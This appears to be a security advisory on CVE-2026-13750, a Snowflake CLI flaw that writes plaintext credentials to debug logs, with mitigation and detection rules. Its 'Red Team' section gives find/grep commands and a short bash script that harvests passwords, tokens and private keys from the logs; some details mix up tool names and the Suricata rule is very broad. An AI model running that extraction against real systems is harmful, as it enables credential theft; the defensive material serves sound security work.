CVE-2026-13750

Executive Summary

CVE-2026-13750 is a medium-severity information disclosure vulnerability affecting Snowflake CLI versions prior to 3.19. The flaw allows plaintext credentials (passwords, tokens, private key material) to be written to persistent local debug logs. An attacker with local read access to the affected user's log files can extract these credentials, bypassing application-level safeguards. The vulnerability is patched in Snowflake CLI version 3.19, and users must manually upgrade.

Supply Chain & Package Security

This vulnerability affects the Snowflake CLI, a standalone binary distributed by Snowflake. It is not a package manager (NPM, PyPI, Go, Ruby) issue, but the risk is amplified in CI/CD pipelines where debug logging is enabled and logs are stored in shared or persistent storage. Organizations should audit their CI/CD configurations to ensure debug logs are not exposed.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Local (AV:L) – attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs read access to log files.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – credentials are fully exposed.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. Exploitation requires local access, but the impact is high due to credential exposure. In cloud or shared environments, this can lead to lateral movement or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the Snowflake CLI's debug logging mechanism. When debug logging is enabled (e.g., via --debug flag or environment variable SNOWFLAKE_CLI_DEBUG), the CLI writes verbose logs to a local file (e.g., snowsql_rt.log or snowflake_cli_debug.log). These logs include the full connection context, which may contain plaintext credentials such as:

• Passwords
• OAuth tokens
• Private key passphrases
• Session tokens

The issue is that the logging function does not sanitize or redact sensitive fields before writing them to disk. An attacker with read access to the log file (e.g., via shared home directory, CI/CD artifact storage, or compromised user account) can extract these credentials.

Root Cause: The logging framework uses a generic toString() or format() method on the connection configuration object, which includes all fields without filtering.

Attack Scenario:

1. A developer or CI/CD pipeline runs Snowflake CLI with debug logging enabled.
2. The CLI writes a log file containing plaintext credentials.
3. An attacker gains read access to the log file (e.g., via misconfigured S3 bucket, shared filesystem, or compromised endpoint).
4. The attacker extracts credentials and uses them to authenticate to Snowflake.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.19):

# Example in Python-based CLI (simplified)
import logging

def connect_to_snowflake(config):
    logging.debug(f"Connecting with config: {config}")  # Logs entire config including secrets
    # ... connection logic

Patched Code (3.19+):

import logging

def connect_to_snowflake(config):
    safe_config = {k: v for k, v in config.items() if k not in ['password', 'token', 'private_key']}
    logging.debug(f"Connecting with config: {safe_config}")  # Redacts sensitive fields
    # ... connection logic

The patch introduces a redaction function that masks or removes sensitive fields before logging. The exact implementation may vary, but the principle is to filter out credentials from log output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running Snowflake CLI < 3.19.
• Debug logging enabled (e.g., snowsql --debug).
• Read access to the log file (default location: ~/.snowflake/logs/snowsql_rt.log or %USERPROFILE%\.snowflake\logs\snowsql_rt.log).

Exploitation Steps:

1. Locate the debug log file:

   find / -name "snowsql_rt.log" 2>/dev/null
   

2. Extract credentials using grep:

   grep -E "(password|token|private_key|passphrase)" snowsql_rt.log
   

3. Use extracted credentials to authenticate:

   snowsql -a <account> -u <user> --password <extracted_password>
   

Automated Extraction Script:

#!/bin/bash
# exploit_cve_2026_13750.sh
LOG_FILE=$(find / -name "snowsql_rt.log" 2>/dev/null | head -1)
if [ -f "$LOG_FILE" ]; then
    echo "[+] Found log file: $LOG_FILE"
    grep -E "(password|token|private_key|passphrase)" "$LOG_FILE" > extracted_creds.txt
    echo "[+] Credentials saved to extracted_creds.txt"
else
    echo "[-] No log file found"
fi

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for debug log files in unexpected locations:

   auditctl -w /home/ -p rwxa -k snowflake_logs
   

2. Alert on grep commands targeting log files:

   auditctl -a always,exit -S execve -F path=/bin/grep -F key=snowflake_cred_extract
   

3. Check for debug flags in process arguments:

   ps aux | grep -E "snowsql.*--debug"
   

Response:

1. Immediately rotate credentials found in logs.
2. Disable debug logging in production environments.
3. Review access logs to identify unauthorized log file reads.

Indicators of Compromise (IOCs)

• File Paths:
  • ~/.snowflake/logs/snowsql_rt.log
  • %USERPROFILE%\.snowflake\logs\snowsql_rt.log
  • snowflake_cli_debug.log
• Process Names:
  • snowsql with --debug flag
  • snowflake with --debug flag
• Log Content Patterns:
  • password: <plaintext>
  • token: <plaintext>
  • private_key: <plaintext>
  • passphrase: <plaintext>
• Network Connections:
  • Outbound connections to Snowflake endpoints (e.g., *.snowflakecomputing.com) from unexpected IPs after credential extraction.

Detection Engineering

YARA Rule

rule CVE_2026_13750_Snowflake_Credential_Leak {
    meta:
        description = "Detects Snowflake CLI debug logs containing plaintext credentials"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-13750"
        severity = "high"
    strings:
        $s1 = "password:" nocase
        $s2 = "token:" nocase
        $s3 = "private_key:" nocase
        $s4 = "passphrase:" nocase
        $s5 = "snowsql_rt.log" nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and $s5
}

Sigma Rule

title: Snowflake CLI Credential Leak in Debug Logs
id: 9b1c2d3e-4f5a-6b7c-8d9e-0f1a2b3c4d5e
status: experimental
description: Detects access to Snowflake CLI debug logs containing plaintext credentials
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13750
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        TargetFilename|contains: 'snowsql_rt.log'
    condition: selection
falsepositives:
    - Legitimate debugging by authorized personnel
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-13750 Snowflake CLI Credential Leak - Outbound Connection"; flow:to_server; content:"snowflakecomputing.com"; http_host; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snowflake CLI to version 3.19 or later.
2. Rotate all credentials that may have been logged (passwords, tokens, private keys).
3. Disable debug logging in production and CI/CD environments:

   export SNOWFLAKE_CLI_DEBUG=0
   

4. Delete existing debug logs:

   rm -f ~/.snowflake/logs/snowsql_rt.log
   

Long-Term Mitigations:

• Implement log redaction for all sensitive fields in custom scripts.
• Use environment variables or secret managers (e.g., HashiCorp Vault) instead of inline credentials.
• Restrict read access to log directories using filesystem permissions.
• Enable audit logging to detect unauthorized log file access.

Patch Verification:

snowsql --version
# Ensure output shows "Version 3.19" or higher

Valters IT